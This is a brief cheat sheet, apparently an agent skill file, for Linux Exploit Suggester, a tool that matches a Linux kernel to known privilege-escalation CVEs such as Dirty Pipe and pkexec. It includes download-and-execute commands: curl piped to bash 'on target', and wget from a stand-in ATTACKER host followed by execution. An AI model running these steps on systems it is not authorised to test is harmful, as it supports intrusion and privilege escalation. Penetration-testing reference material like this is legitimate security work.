Linux Exploit Suggester
Kernel exploit suggester — maps running Linux version to known privesc CVEs.
Quick Start
# Download and run on target
curl -sL https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash
# Or run locally
bash linux-exploit-suggester.sh
# Specify kernel manually
bash linux-exploit-suggester.sh --kernel 5.4.0
Core Flags
| Flag | Purpose |
|---|---|
--kernel VERSION |
Override detected kernel |
--uname STRING |
Pass uname -r output |
-f |
More verbose (show all details) |
--checksec |
Check mitigations (NX/SMEP/etc) |
-g |
Show only highly probable exploits |
--cvelist |
Output CVE list |
Notable Exploits Detected
DirtyCow (CVE-2016-5195) · Dirty Pipe (CVE-2022-0847) · OverlayFS (CVE-2023-0386) · SUID sudo · nmap --interactive · pkexec (CVE-2021-4034)
Common Workflows
Full check with mitigation audit:
bash linux-exploit-suggester.sh --checksec -f
Parse output to get CVEs:
bash linux-exploit-suggester.sh --cvelist 2>/dev/null
Transfer to target:
# Attacker
python3 -m http.server 8080
# Target
wget http://ATTACKER:8080/linux-exploit-suggester.sh -O /tmp/les.sh && bash /tmp/les.sh
Resources
| File | When to load |
|---|---|
references/ |
Exploit compilation and kernel exploit notes |